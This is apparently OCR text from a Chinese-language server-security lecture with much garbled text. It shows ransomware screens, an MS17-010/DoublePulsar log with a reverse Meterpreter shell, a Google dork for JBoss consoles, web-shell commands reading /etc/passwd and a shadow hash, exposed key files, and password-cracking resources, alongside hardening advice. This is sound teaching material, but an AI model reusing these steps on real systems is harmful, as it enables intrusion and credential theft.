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- WannaCry

AR HMAEE- EE 82 52 BY BE 3c 2R a¥ @8
BRmes T8R =T 10FERS9ETINP R GO

2017-05-15 16:48

[(CEEME/ 22 ) BEREEE "WannaCry, BIT2H  HIAHEE  H10FTER
HSoSERPE  BEEEASEIERHES  BEEEIR EJHJE}RE =810 . EATE
RERERDSIMEREEENREE - ffEH - IFEEIETVES  LaZTE-

HEFS/NEEMR  BHRESREENT  EEEE
HERN BLEXEE=T##EE  da
TWannaCry, 27 ZH ESERTE ., 82
HMEEEHEERD -

@909

HERENIEESRET  BESATFH B2
Bl0OBERASIERORZIZHER/SEA
HEFE "WannaCry, BESE . AEE HA885E , hdh@mSinEs  Blsatl ik
10FFE/R50EKDE - (EEEE) 2 ZEEREMCEYEESkENE (B8
EREEEER HARLITEERTES -

ERSIBGAMAETIEER  ERPEERLEAERZ  AHSREEHE  ERARAEH
EFEFETEE  CERRSASHNNRAZAENEE  ERREARTE  FREELH
HEEREFEEEN . REEESENN  TERAAFE

ETIEES  cZEMERSAENRG . TLFNELEFEENTIREUE  HIRMER
s, SREETRANG . IRERE s HEMERERAEEANE -
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Payment will be raised on

511672017 00:47:55

Time Left

Your files will be lost on
52012017 00:47:55

Time Left

Contact Us

3

Ooops, your files have been encrypted!

What Happened to My Computer?

Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.

B Can | Recover My Files?

Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
You can decrypt some of your files for free. Try now by clicking <Decrypt>.

@ But if you want to decrypt all your files, you need to pay.

Il You only have 3 days to submit the payment. After that the price will be doubled.

il Also, if you don’t pay in 7 days, you won't be able to recover your files forever.

W We will have free events for users who are so poor that they couldn’t pay in 6 months.

BHow Do I Pay?
Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>,
And send the correct amount to the address specified in this window.
After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

| B R L P TR e

Send $300 worth of bitcoin to this address
bitcoin —
oY [1209YDPgwueZ9NyMgw519p7AABIsjr6 SMw
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pL CryptoLocker

Payment for private key

Choose a convenient payment metrod:

Bitcoin v

Obitcoin

Sitcan & 9 cryptocurency whene the crestion o transfer of Bitcons s bsed onan
oper-sorce cryptograchec protocol that 5 independant of any central authanty
Bitcoirs czn be transferrad through a computer o smartphore withcut 31 ntemedate
finzncial nstitution,

Yo have to send below specifisd zmount to Bitcoin addrass
1KP72fBmh3XBRfuIDMNnS53APaqMEMRspCh and specfy the transaction D, which

Private key will be destroyed or wil e verified and confrmed.

9,/13/2013

11:25 AM
coin

Tame left Enter the traeaction 1D and press «Pays:

71:55:2h_
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ProcesxName
ProcessCommandl ine

BRAG SRR

7
=

a
Inmmnmn.ex

ProTtocol sMB
Architectureae ea
Function RunDLL
[?7] Execute Plugin? [Yesz] @
[ Ex@cuting Plugin
0} Zwlewcted Protaocol =Mmn
. Connecting to target, ..
[+] Connected To Target, pingi
[+] S8ackdoor raturnad
[+) Ping returned Targ
=

i=:

SHME Connection stering

172 .168.51.23

ci\reverser_tTcp.dll

Nng backdoor...
coda: 106 Success!
et architecture: xoas

(sa-biv)

XORN KXey: OxFrSS3I7OA

wWindows Scerver 2008 R2 Stondoard 7601 Service Pock

Target O% fs:
Target SP 4im:
[+]
[+]

£

2008 12 xo4a

1

Backdoor installed

OLL builc

Sending shellcode

Backdoor returned

[+] Backdoor recurned
Sackdoor returned
[+] Command complaetaed

Doublewpulsar Succeeded

to inject DLL

code: 10 - Succenw!
code: 1©® - Success=s|
code! 1€ . Success!
successfully

Payioad Ooublepulsanr

14
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MS17-010

[*] Started reverse TCP handler on 172.16.51.122:443
Starting the payload handler...
Sending stage (1189423 bytes) to 172.16.51.23
[*] Meterpreter session 5 opened (172.16.51.122:443 -> 172.16.51.23:57562) at 20

17-06-27 23:65:14 -6460

meterpreter > systeminfo
Unknown command: systeminfo,

meterpreter > sysinfo
Computer :

0S : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture . x64

System Language : zh TW

Domain : S

Logged On Users : 4

Meterpreter + x64/windows

meterpreter >

15
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Ymick\DropboxA\Public\HCCSTvexploit=python atrute?.py http: /4

8.5 BYE#:

B Wlgersinick\Dropbox\Public\NCCSTvexploits
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<html xmlns="http:// vww.w3.0rg/1999/xhtml" lang="zh-tw">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equi X-UA-Compatible” content="IE=EmulateIE7" /><meta name="keywords" content=":HEEHeLRIiRCE - HH¥EAIERE (L EE" />
<meta name="description” content="iFIEEHRERLEET" />
<meta content="index,follow" name="robots">
<title>B A EERHTRE #T5E </title>
<link rel="stylesheet” href="/ezfiles/1/1e@1/static/combine-zh-tw.css" type="text/css" />
<!--[if 1lte IE &]>
<link rel="stylesheet” href="/style/style-ie6.css" type="text/css" />
<1[endif]-->
<script type="text/javascript” src="/lib/js/jquery.js'></script>
<script type="text/javascript” src="/lib/js/jquery-migrate.js'></script>
<noscript>Your browser does not support JavaScript!</noscripts
<script language="javascript"»<l--

var isHome = true

--»</script>
<noscript>Your browser does not support JavaScript!</noscripts
<script type="text/javascript" src="/js/201783213.php"></scripts<noscript>Your browser does not support JavaScript!</noscripts>
text/javascript” src="/lib/is/calendar/scw.zh-tw.js' »</script><noscript>Your browser does not support JavaScript!</noscript>
text/javascript" src="/lib/js/calendar/scw.js'></script><noscript>Your browser does not support JavaScript!</noscript>
<script type="text/javascript’'>
war divOs = new divOsClass('divos');
divOs.setInfo( imagedir’,'/images');
divOs.setInfo('styledir’,'/style');
divOos.setInfo( 'waitWord®,"");
war _SiteCounter=239358@
divOs.Cookie.setCookie('_counter', SiteCounter,@,'')

$(document).ready (function(){
divOs.runOnload();

3)s

war ssologinUrl = ™";

</scriptr<noscript>Your browser does not support JavaScript!</noscript>

</head>

<body class="page_ homes">
<!-- outer Container Begin --»
<!-- Outer’s Width, LAYOUT=Center/Left/Right -->
<div class="outer-outer">
<div class="outer layout type"»<div class="container"><div class="container-inner">
<!-- Head Begin -->
<div class="mainhead"><div class="mainhead-inner":
<div id="Dyn_head">

<div class="selfhead">

<div class="head @&3">
«<div class="head_@2">

<a href="/home.php" title="E R Ef{E L EMTIE"
<img src="/ezfiles/5/160@5/img/1363/logo.png" />
</ax
</div
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WIEHRRLZEE

' G siteien inurlij-COﬂSDle T _

F
(€)D https://www.googlecomiw/searct  *JE4 ‘ | Q, Search | Q $ = |- s

site:cn inurl;jmx-console

EH ER R HiE & B%~v HEEIH

#1E 0,290 THEER (iSIFRET | 0.58 71)

T HEERTRT ISR - ErLEERRTHEENSES

jposs.management.local:j2eeType=WebModule ...
www.cdi.cn:4237/jmx-console/HtmlAdaptor?...local%3Aj... ¥~ EE=EEE
Atftribute Name (Access) Type Description, Aftribute Value. DeploymentDescriptor (R)
java.lang.String MBean Attribute. The standard web descriptor for the html ...

jposs jmx console - 254E{8%E

geiso.cn/jboss+jmx+conscle.html ¥ EEEEEE

JBoss #5332 E % BEa0E, W L 2lUBossHyEin R E R RS £ InginyBean « 723
R T hitp:/Mocalhost:8080/mx-consolel” J53T F40E3-4 Fr=E5JBoss .

HE NN AR - 25
www.zohocorp.com.cn/.../jmx-console-snmp-console.html v EEEEEE
Use Applications Manager to build snmp consoles, jmx consoles for SNMP or JMX MBeans
along with Alerting and Reports.

JBoss JMX Management Console - hys.localdomain ...
www.lerkang.cn/jmx-console/HtmlAdaptor?action... ¥ ZZZEZEEE

JMX Agent View. hys localdomain (172 16150 .30) - web. ObjectName Filter (e g° "jposs™,
""service=invoker,™): Sat Apr 09 04:01:06 CST 2016 ..

JMX MBean View
bocoal.cn/jmx-console/HtmlAdaptor?... deployment%3Aw... ¥ EEZi=EEE
201684 513 - Attribute Name, Access, Type, Description, Attribute Value. ParentName,

4 e 1

27
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St . v _\(— | ) RS 1 -console/Html Adaptor Taction=inspecthdBean&name=iboss. management. local %34 Zee Type %30 Wek

JMX MBean View

Domain jboss.management_ local
name jmx-console war
Name J2EEServer Local

J2EEApplication null
j2eeType WebModule

Java Class | org jboss. management j2ee \WebMaodule

Description | Management Bean.

Back to Agent View  Refresh MBean View

Attribute Name (2Access) Attribute Value

Type
Description

The standard web descriptor for the html adaptor

HimlAidaptor
org. jboss. jmx. adaptor. html. Html AdaptorServlet

ClusteredConsoleservlet
org. jboss. jmx. adaptor. html. ClusteredConsoleservlet

jeProps

28
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" JBoss AS 3,4, 5,6 - Remote =+ X-

3 . - (t ) & hitps:wene exploit-db.com/exploits/ 36575/ c | | L jhoss exploit > || :

EXPLOIT ~ =
DATABASE -

JBoss AS 3, 4, 5, 6 - Remote Command
Execution

EDB-ID: 36575 CVE: N/A OSVDB-ID: 120064
; Author: Jodo Filho Matos Published:
EDB Verified: x . .
Figueiredo 2015-03-31

Download Exploit: [§ Source [§
Download Vulnerable App: N/A

Raw
« Previous Exploit Next Exploit »
# coding: utf-8
# JexBoss vl1.0. @autor: Jofo Filho Matos Figueiredo (joacmatosf@gmail.cc
# Updates: https://github.com/joaomatosf/jexboss
# Free for distribution and modification, but the authorship should ke g

import httplib, sys, urllib, os, time
from urllib import urlencode

[T Iy W BT VI VI

oo

T TN e e T e 1
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http://eemsliswesisynew3.jsp % | Op

S &~ (€ & S console/ew3isp —
[ Send |

Command: ipconfig

Windows IP ECE

VIARKMIERSE AHhiZEE::
EEREERDNS B . . . . . .. -

AHuSEE: IPve HEhE . . . . . . . 1 fe80::640b:4543:3eb0:321b%10
TPvd IR & w0 5o 2 o0 5o 2 5 o6 : 192.168.6. 11
FREREED . o w oo n oo om v o w o . 255.255.255.0
BRARISE. . . L L L. 1 192.168.6.1
PEIEERCSE AHhiZEHEex:
BHERE . . . . .. ... : BAEEKFF
EEFEADNS B .. . . . .. .
PRIEERCEE AHhiEE* 8:
BERE . . . L L L L L. : BiAEEAF

EEEER NS BE . . . . . .. :

30
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| | 1

Si o' Q-/J;@#.cn/web-console/cmdz,jsp?cmd=id

Command: id

uid=0(root) gid=0(root) groups=0(root) context=unconfined u:unconfined r:unconfined t:s0-s0:c0.cl1023

E\
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St @~ @ ) Smpisssmmmsmmmcn/\veb-console/cmd2.jsp?cmd =ifconfig < ’ I Q

_Send

Command: ifconfig

eth0 Link encap:Ethernet HWaddr 00:0C:29:45:8A:4E
inet addr: R .227 Bcast: SEESEEEeEEER® Mask:255.255.255.192
inet6é addr: feB80::20c:29ff:fed45:8a4e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:8014543 errors:0 dropped:0 overruns:0 frame:0
TX packets:4444301 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen:1000
RX bytes:932752847 (88%.5 MiB) TX bytes:558857659 (532.9% MiB)

eth2 Link encap:Ethernet HWaddr 00:0C:25:45:8A:62
inet addr:192.168.2.38 Bcast:192.168.2.255 Mask:255.255.255.0
inet6é addr: feB80::20c:29ff:fed45:8a62/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:245370705 errors:0 dropped:0 overruns:0 frame:0
TX packets:177571111 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen:1000
RX bytes:257213214631 (239.5 GiB) TX bytes:154636046110 (144.0 GiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:588559 errors:0 dropped:0 overruns:0 frame:0
TX packets:588559 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen:0
RX bytes:562753%4 (53.6 MiB) TX bytes:562753%4 (53.6 MiB)
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WL R LT EIE

m ) [ O 7772 | /% e Y | Ve —

¥ A, ) iyl .cn/web-console/cmd2.jsp?cmd=cat+%2Fetc%2Fpasswd e | Q
| @ inpitanamas jsp p

Send

Command: cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:0perator:/root:/sbin/nologin

games:x:12:100:games: /usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
saslauth:x:498:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin

pulse:x:497:496: Pulse”RAudio System Daemon:/var/run/pulse:/sbin/nologin
sshd:x:74:74:Privilege—-separated SSH:/var/empty/sshd:/sbin/nologin

pdump:x:72:72::/:/sbin/nologin
x:500:500:hero: /home/hero: /bin/bash
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root : $1IINGO4Vu3] $dXIwGmSD1 kmw80gmIYLEC/:16579:0:99999:7
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7: - :
adm:*:15980:0:99999:7: : :
Ip:*:15980:0:99999:7: : :
sync:*:15980:0:99999:7:
shutdown *:15980:0: 99999
halt:*:15980:0:99999:7
mail:*:15980:0:99999:7

uucp: *: 15980 0:99999:7
operator :15980:0: 99999
games:*:lSQSO 0:99999:7:
gopher:*:15980:0:99999:?:::
ftp:*:15980:0:99999:7: ::
nobody:*:15980:0:99999:7
dbus:!!':16573::::::
usbmuxd:!!:16573::::::
vesa: ! 1165730

rtkit:! ;16573 :::::
avahi-autoipd:!!:16573::::::
abrt:!!:16573::::::
haldaemon:!!:16573::::::
gdm:!!1:16573::::::
ntp:!1:16573::::::
apache:!!:16573::::::
saslauth:!!:16573::::::
postfix:!!1:16573::::::
pulse:!!:16573::::::
sshd:!!:16573::::::

16573:0:99999:7
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@hero
login as: hero ]

herof Y ' s passvword:
[heroC«S—— -5
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- ERRRANS
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Fﬂ LEASEEEEweb ser.. %

' (-' (0 | wwwwooyunorg/bugs/wooy,  EJ Geels | @ || Q Search 4 = |- S »

WooYun.org s

16.975 &

LFHUE : WooYun >> BRIEE

iR STH()

HFAHRE © WooYun-2015-129626

TS . SERISEEEE web service BUIBERITR ( SEiE )
18X 7 : Hitcon&EEEMIERRETFS
mEfES - IBAR

{23rAd[E © 2015-07-29 13:43

oSFFESE - 2015-09-12 14:26

WAL . (ESUHERD/TH

BESER: h

EiFfRank : 10

RS . CTHSEZAATFIIE(Hitcon & E BB S &) Mg

JEiEEIE : http://www.wooyun.org , IIEEEREFEERENEELE help@wooyun.org
Tagstnas | 7o

sERE: @4 @eE@ o

| maws
2015-07-29 : 4P EEN BB maEP
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\f‘/ & oo/ api/

Index of /api

Name Last modified ~Size Description
« Parent Directory -

SwwGtoreApp-1.9.apk  11-Sep-2014 12:20 672K
[?) SmmaiiStoreApp-2.0.apk  20-Nov-2014 17:11 894K

[?) add_order_no.php 12-Jul-2012 19:49 310
(C bookin 03-Nov-2014 18:01 -
[?) chk_card_service.php 01-Oct-2014 14:22 1.8K
chk_device firstouyphp  09-Jul-2015 09:14 7.3K
chk_device_id.php 24-Jun-2015 14:58 3.6K
[?) chk_storeapp_version.php  08-Jul-2015 11:24 1.8K
[?1 chk_version.php 09-Jul-2015 11:24 16K
[#) chk_version.v2.php 06-Jul-2015 10:53 1.7K
) fune/ 13-Jul-2015 15:23 -
get all_today deals.php  28-Jan-2015 09:40 1.4K
[?) get_api_listphp 28-Jan-2015 09:42 3.0K
[ get_api_list.v2.php 06-Jul-2015 10:51 4.6K
E get_banner_info php 21-May-2015 09:42 2.5K
[#) get_city_listphp 26-Jun-2015 09:46 39K
[#) get_coupons_opening.php  08-Jun-2012 14:45 653
[?) get_event data.php 08-May-2015 17:05 2.9K
[?) get_featured_storephp ~ 08-Jun-2012 14:45 6.6K
[#) get_fine_print.php 09-Jul-2015 11:24 1.7K
[?1 get_history.php 09-Jul-2015 11:24 55K
[P aet historv used.oho 19-Mar-2015 09:05 4.8K

41



R - :
WIL AR EEE

rIndex of Japi x | 4 -1
€ P | & mommmlicom/api/

get_inventory.php 28-Jan-2015 09:44 1.4K
get map search.php 08-Jun-2012 14:45 3.TK
ﬂet product_info.php 27-Mar-2015 11:38 3.3K
get push_city.php 08-Jun-2012 14:45 35K
get search_cond.php 08-Jun-2012 14:45 31K
Bget store_intro.php 10-Jun-2015 14:51 3.0K
get tag list.php 26-May-2014 12:20 1.0K
@get ticket booking_info.php 09-Jul-2015 11:24 1.6K
[det time_range.php 08-Jun-2012 14:45 673
ﬂet today_coupons.php 28-Jan-2015 09:53 26K
[#1 get_today_deals.php 30-Jun-2015 10:06 26K
[? get_today_tickets.php 06-Oct-2014 15:37 4.8K
[?1 get_token.php 10-Jul-2014 10:54 1.7K
qet user bonus.php 08-Jun-2012 14:45 1.2K
get user_info.php 14-Jan-2015 15:13 36K
get yellow pages.php 28-Jan-2015 09:50 14K
2] intowow/ 27-May-2015 14:09 -
O libs/ 30-Apr-2015 15:13 -

m.purchase_history. php 08-Jun-2012 14:45 477

mapp_checkout-1_1.php 08-Jun-2012 14:45 24K
modify _user_password.php 29-Nov-2014 14:19 32K

push_app_info.php 08-Jun-2012 14:45 31K
reset user password.php 04-Sep-2014 15:55 3.9K
@ send_validate . php 11-Mar-2013 18:46 2.1K
[Z signup_mem.php 09-Jul-2015 11:24 44K
upd_push_badge.php 29-Dec-2014 09:34 1.7K
[3 upd_push_token.php 13-Jul-2015 17:47 91K
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J httpy//m.CEm——.htm| X {Indexot/api/intowow/keys:
€ @ oy om/ pi/intowo ) CE— ¢ || Q search B8 3 & 4 < -

uid 22ed57acf9ad4cf69d024de48a9a72bf

message_id 3718f589176940c6b0e6ead2844febd541782

token iPhone 6 E|
os_type 2.10S E|
action ch_id=99991&city_id=18&pid=61098&isopenpush=1&spot=5aSn5a6J5Y 2A&tkType=1&checkfav=1&name=6a0f6Jed5pelSbyP5Ym150SP5paZ55CC
title
expire_time 1451577599
ﬁtQZUSh FEBYAEESN, Server i push LB EABTE S ERATEIN, SEFS WS APP UEH RSB ANESERATEIN, SRS
zEs.
image : ) ] type=product&id=642268size=
complete_text Daniel test
i push RESIMTAE
short_text
click_action 1: go to channel page E'
popup_mode 0. SDK FER B E'
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& @ nﬂqm/api/imo'.-.'ow/keﬁys/

Index of /api/intowow/keys

Name Last modified Size Description

& Parent Directory o
(?) apns-dev.pem  12-Mar-2015 10:50 3.9K

[2 apns.pem 12-Mar-2015 10:50 5.6K
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- FH#éServertHEE
- B iR TR
- EBHEEEESE
- Bi#%#E (Index of)

=0 =
- "ElFI;':\lFI /EL‘A

- 1=k
- BRMALBREE - AURSEREERHENMINE -
- IRSRZRES1E
- FHRRRRENE
- HEEER
- FAERERERINEE  <Directory />
- Blapache&fl Options —Indexes

</Directory>
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@ lndexof‘_ : 8 G http://immisi®.org.tw/main/ X ) |
‘-.-rg'.tw/main/ C'Q Search , $ = - S

“atal error: Class 'Controller' not found in /home/wwwroot@iliyapplication/controllers/main.php on line 3
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ST Excepton report
-
lexceptiont

org.apache.jasper.JasperException: javax.servlet.ServletException: mlﬁﬂsﬁmm*ﬁ
cion

org.apache.jasper.serviet.JspServlietWrapper.handleJspExcep spServietwrapper.java:549)
org.apache.jasper.serviet.JspServlietWrapper.service (JspServietWrapper.java:455)
org.apache.jasper.serviet.JspServliet.sexviceJspFile (JspSezrviet.java:390)
org.apache.jasper.serviet.JspServiet.service (JspServiat.java:334)

.HetpServilet.service (HttpServilet.java:727)

r.ForwardfFilter.doFilter (ForwardFilter.java:72)

r.LoginFilter.doFilter{LoginFilter.java:50)

r.SetCharacterEncodingFilter.dofilter (Unknown Source)
root cause]

javax.serviet.ServietException: _i‘ﬂguﬂi‘ﬁmﬁ*ﬂ
org.apache.jasper.runtime.PageContextimpl.dotandlePagesxception(PageContextimpl.java:916)
org.apache.jasper.runtime.PageContextimpl.handlePageException (PageContextImpl,java:845)
org.apache.jsp.news_005fdetail jsp._ jspService (news_005fdetail jsp.java:863)
org.apache.jasper.runtime.lttpJispBase.service (HttpJspBase.java:70)
javax.serviet. http.HttpServiet.sexrvice (HttpSexviet.java:727)
org.apache.jasper.serviet.JspServlietWrapper.service (JspServietWrapper.java:432)
org.apache.jasper.serviet.JspServiet.serviceJspfile(JspServiet.java:390)
org.apache.jasper.serviet.JspServlet,service (JspServiet.java:334)

ttp.HttpServlet.service (HttpServlet.java:727)
lter.Forwardfilter.doFilter (ForwardFilter.java:72)
lter.LoginFilter.doFilter (LoginFilter.java:50)
lter.SetCharacterEncodingFilter.doFilter (Unknown Source)

root causs

WO RS BT RS T
nternate.dal.dac.engine.DatabaseCommandExecutor.executeQuery (Unknown Source)
-anternate.dal.dao.loadbalance.NoLoadBalanceExecutor.executaQuery (Unknown Scurce)
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- FH#éServertHEE
- B iR TR
- EBHEEEESE
- H#x2E (Index of)
- fEERENE

- 2B
- AL ERAR Y SME R R EER
- php#&fHl

- php.ini
- Display_errors = off
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- X #tServertHfd

- FARNAY AR5
- ZHRM—ERY - HREARSER—EARREE

- 224
- SMB
- RDP
- SSH
- Telnet
- Mysql
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[rootlecentos-512mb-sfol-01 1# netstat -ant|more

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State

tep 0 0 0.0.0.0:465 0.0.0.0:%* LISTEN

tcp 0 0 0.0.0.0:22 0.0.0.0:%* LISTEN

tep 0 0 127.0.0.1:25 0.0.0.0:%* LISTEN

tep 0 0 0.0.0.0:3306 0.0.0.0:%* LISTEN

tep 0 0 0.0.0.0:22 10.8.0.6:53556 ESTABLISHED
tep 0 0 0.0.0.0:22 10.8.0.6:53718 ESTABLISHED
tcp 0 0 0.0.0.0:22 60.250.50.43:12708 ESTABLISHED
tep 0 104 0.0.0.0:22 118.163.123.115:59793 ESTABLISHED
tcp 0 0 0.0.0.0:22 60.250.50.43:12667 ESTABLISHED
tep 0 0 :::22 R LISTEN

tcp 0 0 1:25 R LISTEN

tep 0 0 1443 * LISTEN

tcp 0 0 :80 * LISTEN
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F#ServerHEE
- FRYRYAR TS

N C\Windows\system32\cmd.exe [P =

009 Microsoft Corporation.

etstat -ano|more
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- F#ServertBEd
- FRIRIAR TS

- fEfE
- EARABENIRT
- Linux
- netstat —an
- chkconfig —list
- chkconfig ServiceName off
- Windows
- netstat —an

- ElREESRFFLEAIFR
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2016F = 59% 15 : 123456

£EP / Sa8E 02017-01-18 06:00

£BE =2 TKeeperZ A AH25E2016EERBE/HTE « "123456" BEEEBRHTES1S - (| / Pixabay )

BRANSEEEEREL FBHNE  TRFREDSE - BAE-mAllEFEEERSRE - #HE

% MRREERR  BIAEARSAER  MERTCHEFINER - FEEEER

SlKeeper&iAH25E2016 =R &R EHHTE » 123456" BERSHHTESELEZ  BER
71234567 Aol - AR ARAANEEERTNEE -

D) F}

55



Bt 2 E

o i
rce

=

I Keeper Security, Inc. [US] | hitps://keepersecurity.com/public/Most-Common-Pas

10 Millio

v

Top 25 Most Common
Passwords of 2016

123456

123456789

qwerty

12345675

111111

1234567890

1234587

password

123123

987654321

swords-of-2016-Keeper-Security-5tudy.pdf

The Most Common Passwords of 2016

2016 was another massive year for data breaches. The Keeper
research team analyzed over 10M passwords available on the
public web, here's what we found.

MNearly 17% of users are safeguarding their accounts with "123456."

= After years of data breaches due to weak passwords, website operators
are still not enforcing password best practices.

= Website operators must take more respongibility for password security.

@ 2016 Top Passwords Q&A

Why Is 18atcskd2w such a popular password?

According to Security Researcher, Graham Cluley, these accounts
were created by bots, perhaps with the intention of posting spam
onto the forums.

How common are these passwords?

The top 25 passwords of 2016 constitute over 50% of the
10M passwords that were analyzed.

56



WL RRRZEEE

root@kali: fusr/share/fwordlists

File Edit View Search Terminal Help
-/share/wordlists# 1s
dirb dnsmap. txt fern-wifi  metasploit-jtr nmap.lst sqlmap.txt w3af.txt wfuzz
dirbuster fasttrack.txt metasploit metasploit-pro termineter.txt webslayer wfuzz.txt
: fusr/share/wordlists# [
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- Password Wordlist

- https://dazzlepod.com/site_media/txt/passwords.txt
- https://gist.github.com/djaiss/4033452
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- Z2Z BRI R ZEHE
- Ophcrack
- Freerainbowtables

- B B R ?

- FHIE
- RHER
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ophcrack.sourceforge.net/tables.php

Z
©

mr - r

ophcrack

Home | Download | Tables | News | Support | Development

Free XP Rainbow tables

These tables can be used to crack Windows XP passwords (LM hashes). They CANNOT crack Windows Vista and 7
passwords (NT hashes).

german
special *p_special(7.5GB)
mixedalphanum xp_free_small(380MB) and xp_free_fast(703MB)

length | 1-4 5 6 7 8 ] 10 1 12 13 14

All free XP tables (17.0GB)
Torrent download

Thanks for seeding

XP free small (380MB)
formerly known as SSTIC04-10k

Success rate: 99.9%
Charset: 0123456789%abcdefghijkimnopgrstuvwxyzABCDEF GHIJKLMNOPQRSTUVWXYZ

md5sum: 17cfa3dfc613e275236c1f23eb241bcBb

XP free fast (703MB)
formerly known as SSTIC04-5k

Success rate: 99.9%
Charset: 0123456789%abcdefghijkimnopgrstuvwxyzABCDEF GHIJKLMNOPQRSTUVWXYZ

md5sum: f6f5536975b57c8912d5f2de702a02bd
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) ophcrackesourceforge.net/tables.php

@ Vista free (461MB)

Success rate: 95%

Based on a dictionary of 64k words, 4k suffixes, 64 prefixes and 4 alteration rules for a total of 238
passwords (274 billion).

md5sum: 403cf58178d7272a48819b47cadb2etb

@ Vista proba free (581MB)

Success rate: n/a

Passwords of length 5-10

Charset: 0123456789abcdefghijkimnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWIXYZ
"#5%E& () +, - ===2@[\]*_"{l}~ (including the space character)

238 passwords selected according to the most probable password patterns and the most probable
character sequences (2nd order Markov Model) within the pattems. Trained on the Rockyou password
set.

md5sum: e0718aaf0859802085842a5d09cTbi56e

Vista special (8.0GB)
formerly known as NTHASH

Success rate: 95%
Passwords of length 6 or less
Charset: 0123456789ab ghijklmnopqg xyzABCDEFGHIJKLMNOPQRSTUWVWXYZ
"#E%E (Y + - ===?@[\]*_"{I}~ (including the space character)
Passwords of length 7
Charset: 0123456789%abcdefghijklmnopgrstuvexyzABCDEFGHIJKLMNOPQRSTUVWXYZ
Passwords of length 8
Charset: 0123456789abcdefghijklmnopgrstuvwxyz

O Vista num (3.0GB)

Success rate: 99.9%
Passwords of length 1 to 12
Charset: 01234567589
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List of Rainbow Tables

This page lists the rainbow tables we generated.

LM rainbow tables speed up cracking of password hashes from Windows 2000 and Windows XP operating system.
NTLIM rainbow tables speed up cracking of password hashes from Windows Vista and Windows 7 operating system
IMDS and SHAT rainbow tables speed up cracking of MD3S and SHA1 hashes. respectively.

The Iargest rainbow tables here are ntlm_mixalpnafnumerlc#‘l79. mdﬁ_mixalpna—numerlc#rg and sha‘l_mlxalpnafnumerlc#‘l—e_ Each has a Ke:,r space of 13,759.005,997,841,642 (I.e.,
536
2536,

Benchmark result of each rainbow table is shown in last column of the list below. Ve generate hashes of random plaintexts and crack them with the rainbow table and
rcrackircrack_cudafrcrack_cl program. rcrack program uses CPU for computation and rcrack_cudalrerack_cl program uses NVIDIAJAMD GPU.

Video demonstration of some rainbow tables on You{[J -

« Hash Cracking with Rainbow Table ntim_ascii-32-95#1-8
« Hash Cracking with Rainbow Table md5_ascii-32-95#1-8
« Hash Cracking with Rainbow Table shal1_ascii-32-95#1-8

Perfect rainbow tables are rainbow tables without identical end points. produced by removing merged rainbow chains in normal rainbow tables. To achieve same success rate, perfect
rainbow tables are smaller and faster to lookup than non-perfect rainbow tables. In lists below, parameters of non-perfect rainbow tables are in gray.

Rainbow Tables
LM Rainbow Tables

Table ID Charset Plaintext Length Key Space Success Rate Table Size Files Performance
H Im_ascii-32-65-123-4#1-7 ascil-32-65-123-4 107 7.555,858,447 479 99.9 % 27 GB | Perfect Perfect
32 GB Non-perfect MNon-perfect

NTLM Rainbow Tables

Table ID Charset Plaintext Length Key Space Success Rate Table Size Files Performance

£ ntim_ascii-32-95%1-7 ascii-32-95 107 70.576,641,626,495 99.9 % 52 GB @ Perfect Perfect
64 GB = MNon-perfect Mon-perfect

£ ntim_ascii-32-95%#1-8 ascii-32-95 1t08 6,704,7580,954,517,120 96.8 % 460 GB = Perfect Perfect
576 GB = MNon-perfect MNon-perfect

EH ntim_mixalpha-numeric#1-8 mixalpha-numeric 108 221,919,451,578,090 99.9 % 127 GB Perfect Perfect

160 GB = Mon-perfect MNon-perfect
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- IREIAEZENARENERE 21 (rule-based attack)
- BEeERFHREFHRESZM(dictionary attack)
- ERAZERIANEARE
- FHEWEA
- SSH
- ZllrootEA
- fail2ban
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- F#%Servert8Ed
- Patch & Update

- LAN/WAN

- nmap * os/web vulnerability scanner ...etc
- exploit-db
- loT
- Shodan
